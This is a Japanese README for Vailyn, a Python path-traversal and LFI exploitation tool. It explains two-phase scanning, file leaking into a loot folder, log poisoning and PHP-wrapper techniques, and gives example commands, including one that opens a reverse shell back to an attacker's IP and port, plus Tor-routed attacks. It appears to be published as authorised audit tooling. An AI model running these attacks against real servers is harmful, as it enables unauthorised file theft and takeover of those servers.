
段階的かつ検出回避型のPath Traversal + LFIスキャン・悪用ツール(Python製)

Vailyn 3.0
v3.0以降、Vailynはフェーズ1でLFI PHPラッパーをサポートしています。スキャンに含めるには
--lfiを使用してください。
Vailynは、パストラバーサルおよびファイルインクルージョンの脆弱性を対象とした、多段階の脆弱性分析・悪用ツールです。可能な限り高性能に動作し、幅広いフィルター回避技術を提供するように設計されています。
Vailynは2つのフェーズで動作します。最初に、脆弱性が存在するかどうかを確認します。/etc/passwd(またはユーザー指定のファイル)に、すべての回避ペイロードを使ってアクセスを試みます。応答を解析し、動作したペイロードをそれ以外から分離します。
その後、ユーザーは使用するペイロードを自由に選択できます。これらのペイロードのみが第2フェーズで使用されます。
第2フェーズは悪用フェーズです。ファイル辞書とディレクトリ辞書を使用して、サーバーから可能な限り多くのファイルを漏洩しようとします。検索深度とディレクトリの順列レベルは引数で調整可能です。オプションで、発見したファイルをダウンロードして戦利品フォルダに保存できます。また、システム上でリバースシェルを取得し、攻撃者がサーバーを完全に制御できるようにすることも可能です。
現在、複数の攻撃ベクトルをサポートしています。クエリ、パス、クッキー、POSTデータを介したインジェクションです。
フェーズを分けることで、ツールのパフォーマンスを大幅に向上させています。以前のバージョンでは、すべてのファイルとディレクトリの組み合わせに対してすべてのペイロードがチェックされていました。その結果、現在のページで動作していないペイロードが常に再使用されるため、大きなオーバーヘッドが発生していました。
推奨かつテスト済みのPythonバージョンは3.7以上ですが、Python 3.5およびPython 3.6でも問題なく動作するはずです。Vailynをインストールするには、リリースタブからアーカイブをダウンロードするか、以下のコマンドを実行してください。
$ git clone https://github.com/VainlyStrain/Vailyn
システムに配置したら、Pythonの依存関係をインストールする必要があります。
Unix系システムでは、以下を実行するだけで十分です。
$ pip install -r requirements.txt # --user
Vailynが使用する一部のライブラリはWindowsでうまく動作しないか、インストールに失敗する場合があります。
Windowsを使用する場合は、pipを使用してVailyn\·›\requirements-windows.txtにリストされた要件をインストールしてください。
twistedのインストールが失敗する場合は、こちらで非公式バージョンが入手可能で、Windowsでビルドできるはずです。ただし、これはサードパーティのダウンロードであり、整合性が必ずしも保証されているわけではないことに注意してください。これが正常にインストールされたら、requirements-windows.txtに対してpipを再度実行すれば動作するはずです。
リバースシェルモジュールを完全に使用するには、sshpass、ncat、konsoleがインストールされている必要があります。パッケージ名はLinuxディストリビューションによって異なります。Windowsでは、事前に手動でリスナーを起動する必要があります。konsoleが気に入らない場合は、core/config.pyで別のターミナルエミュレータを指定できます。
以上です!インストールディレクトリに移動して、次のコマンドを実行すればVailynを起動できます。
$ python Vailyn -h
Vailynには3つの必須引数があります。-v VIC、-a INT、-p2 TP P1 P2です。ただし、-aの値に応じて、さらに引数が必要になる場合があります。
, \ / ,
':. \. /\. ./ .:'
':;. :\ .,:/ ''. /; ..::'
',':.,.__.'' ' ' `:.__:''.:'
';.. ,;' *
* '., .:'
`v;. ;v' o
. ' '.. :.' ' .
' ':;, ' '
o ' . :
*
| Vailyn |
[ VainlyStrain ]
Vsynta Vailyn -v VIC -a INT -p2 TP P1 P2
[-p PAM] [-i F] [-Pi VIC2]
[-c C] [-n] [-d I J K]
[-s T] [-t] [-L]
[-l] [-P] [-A]
必須:
-v VIC, --victim VIC 攻撃対象、パート1 [ペイロード前]
-a INT, --attack INT 攻撃タイプ (int, 1-5, またはA)
A| スパイダー (すべて) 2| パス 5| POSTデータ, json
P| スパイダー (部分) 3| クッキー
1| クエリパラメータ 4| POSTデータ, プレーン
-p2 TP P1 P2, --phase2 TP P1 P2
フェーズ2での攻撃と必要なパラメータ
┌[ 値 ]─────────────────┬────────────────────┐
│ TP │ P1 │ P2 │
├─────────┼─────────────┼────────────────────┤
│ leak │ ファイル辞書 │ ディレクトリ辞書 │
│ inject │ IPアドレス │ 待受ポート │
│ implant │ ソースファイル │ サーバー上の保存先 │
└─────────┴─────────────┴────────────────────┘
追加:
-p PAM, --param PAM --attack 1, 4, 5 用のクエリパラメータまたはPOSTデータ
-i F, --check F フェーズ1でチェックするファイル (デフォルト: /etc/passwd)
-Pi VIC2, --vic2 VIC2 攻撃対象、パート2 [ペイロード後]
-c C, --cookie C 追加するCookie (ヘッダー形式)
-l, --loot 発見したファイルを戦利品フォルダにダウンロード
-d I J K, --depths I J K
深さ (I: フェーズ1, J: フェーズ2, K: 順列レベル)
-h, --help このヘルプメニューを表示して終了
-s T, --timeout T リクエストタイムアウト; Arjun用の安定スイッチ
-t, --tor Tor匿名ネットワークを介して攻撃
-L, --lfi PHPラッパーを使用してファイルを漏洩
-n, --nosploit フェーズ2をスキップ (-p2 TP P1 P2 は不要)
-P, --precise フェーズ1で正確な深度を使用 (範囲ではない)
-A, --app VailynのQt5インターフェースを起動
開発者向け:
--debug 試行したすべてのパスを表示 (404も含む)
--version プログラムのバージョンを表示して終了
--notmain サブプロセス呼び出しでのnotify2クラッシュを回避
情報:
絶対パスを使用してファイルを漏洩する場合: -d 0 0 0
絶対パスを使用してシェルを取得する場合: -d 0 X 0
Vailynは現在5つの攻撃ベクトルをサポートしており、それらすべてを自動化するクローラーを提供しています。実行する攻撃は-a INT引数で指定します。
INT 攻撃
---- -------
1 クエリベースの攻撃 (https://site.com?file=../../../)
2 パスベースの攻撃 (https://site.com/../../../)
3 クッキーベースの攻撃 (Cookieを自動取得)
4 プレーンなPOSTデータ (ELEM1=VAL1&ELEM2=../../../)
5 JSON POSTデータ ({"file": "../../../"})
A スパイダー サイトからすべてのURLを取得し、全ベクトルで分析
P 部分スパイダー サイトからすべてのURLを取得し、選択したベクトルのみで分析
また、攻撃対象を指定する必要があります。これは-v VICと-Pi VIC2で行います。-vはインジェクションポイントより前の部分、-Piはそれ以降の部分です。
例: 最終的なURLが https://site.com/download.php?file=<ATTACK>¶m2=necessaryvalue となる場合、-v https://site.com/download.php と -Pi ¶m2=necessaryvalue を指定します (クエリ攻撃なので -p file も必要です)。
スキャンにPHPラッパー (例: php://filter) を含めたい場合は、--lfi引数を使用します。フェーズ1の終了時に、動作したラッパーを含む追加の選択メニューが表示されます (存在する場合)。
攻撃対象のサイトがログインページの背後にある場合は、-c COOKIE で認証クッキーを指定できます。Tor経由で攻撃する場合は --tor を使用します。
これは分析フェーズであり、動作するペイロードとそうでないものを分離します。
デフォルトでは /etc/passwd が検索されます。サーバーがLinuxではない場合、-i FILENAME でカスタムファイルを指定できます。FILENAMEにはサブディレクトリを含める必要があることに注意してください。
検索深度は -d の最初の値で変更できます (デフォルト=8)。
絶対パスを使用する場合は、最初の深度を0に設定します。
これは悪用フェーズであり、Vailynはできるだけ多くのファイルを漏洩しようとするか、様々な技術を使用してリバースシェルを取得します。
フェーズ2の検索深度 (戻る最大レイヤー数) は -d 引数の2番目の値で指定します。サブディレクトリの順列レベルは -d の3番目の値で設定します。
絶対パスで攻撃し、漏洩攻撃を実行する場合、すべての深度を0に設定します。リバースシェルを取得したい場合は、2番目の深度が0より大きいことを確認してください。
-l を指定すると、Vailynはファイルを端末に表示するだけでなく、ダウンロードして戦利品フォルダに保存します。
詳細な出力 (発見したファイルだけでなくすべての出力を表示) が必要な場合は、--debug を使用できます。ただし、出力は非常に乱雑になるため、これは基本的にデバッグ用のヘルプです。
ブルートフォース攻撃を実行するには、-p2 leak FIL PATH を指定します。ここで
コードインジェクションによるリバースシェルを取得するには、-p2 inject IP PORT を使用します。ここで
警告
Vailynはログポイズニング技術を使用します。そのため、指定したIPがサーバーログに表示されます。
技術 (LFIインクルージョンでのみ動作):
/proc/self/environ インクルージョン (古いサーバーでのみ動作)Apache + Nginx ログポイズニング & インクルージョンSSH ログポイズニングpoisoned mail インクルージョンexpect://data:// (プレーンおよびb64)php://input実際の結果と誤検出を区別するために、Vailynは以下のチェックを行います:
-a 2 の場合、応答内容がサーバールートURLの内容と一致するか追加チェック/etc/passwd を検索ファイルとして使用する場合、正規表現チェックシンプルなクエリ攻撃、フェーズ2でファイル漏洩:
$ Vailyn -v "http://site.com/download.php" -a 1 -p2 leak dicts/files dicts/dirs -p file --> http://site.com/download.php?file=../INJECT
クエリ攻撃、ただしインクルージョンポイントの正確に2階層上に file.php が存在することがわかっている場合:
$ Vailyn -v "http://site.com/download.php" -a 1 -p2 leak dicts/files dicts/dirs -p file -i file.php -d 2 X X -P
これにより、標的型攻撃となるためフェーズ1の所要時間が大幅に短縮されます。
シンプルなパス攻撃:
$ Vailyn -v "http://site.com/" -a 2 -p2 leak dicts/files dicts/dirs --> http://site.com/../INJECT
パス攻撃、ただしクエリパラメータとタグが必要な場合:
$ Vailyn -v "http://site.com/" -a 2 -p2 leak dicts/files dicts/dirs -Pi "?token=X#title" --> http://site.com/../INJECT?token=X#title
シンプルなクッキー攻撃:
$ Vailyn -v "http://site.com/cookiemonster.php" -a 3 -p2 leak dicts/files dicts/dirs
Cookieを取得し、ポイズンするCookieを選択できます。
POSTプレーン攻撃:
$ Vailyn -v "http://site.com/download.php" -a 4 -p2 leak dicts/files dicts/dirs -p "DATA1=xx&DATA2=INJECT"
DATA2にペイロードを注入します。
POST JSON攻撃:
$ Vailyn -v "http://site.com/download.php" -a 5 -p2 leak dicts/files dicts/dirs -p '{"file": "INJECT"}'
攻撃対象がログイン画面の背後にある場合:
$ Vailyn -v "http://site.com/" -a 1 -p2 leak dicts/files dicts/dirs -c "sessionid=foobar"
ポート1337でリバースシェルを取得したい場合:
$ Vailyn -v "http://site.com/download.php" -a 1 -p2 inject MY.IP.IS.XX 1337 # ログインジェクションには高いフェーズ2深度が必要
(Unixの場合、ncatリスナーが自動起動されます)
クローラーモードでの完全自動化:
$ Vailyn -v "http://root-url.site" -a A ここで他の引数 (cookie, depths, lfi, lookup fileなど) も指定可能
完全自動化、ただしArjunに --stable が必要な場合:
$ Vailyn -v "http://root-url.site" -a A -s ANY
誤検出/未検出 (またはその他のバグや改善点) を見つけた場合は、issueを報告してください!
Vailynは攻撃的なWebアプリケーション監査ツールとして提供されています。組み込みの機能により、Webアプリケーションの潜在的な脆弱性を明らかにできますが、悪意を持って悪用される可能性もあります。
したがって、作者および貢献者は、このツールキットの誤用や損害について一切の責任を負いません。
本ソフトウェアを使用することにより、ユーザーは現地の法律に従い、所有者の明示的な許可なしに他人のシステムを攻撃したり、悪意を持って使用したりしないことに同意したものとみなされます。
違反があった場合、その行為を行ったエンドユーザーのみがその責任を負います。
Vailyn: Copyright © VainlyStrain
Arjun: Copyright © s0md3v
ArjunはVailynに同梱されなくなりました。pipで最新バージョンをインストールしてください。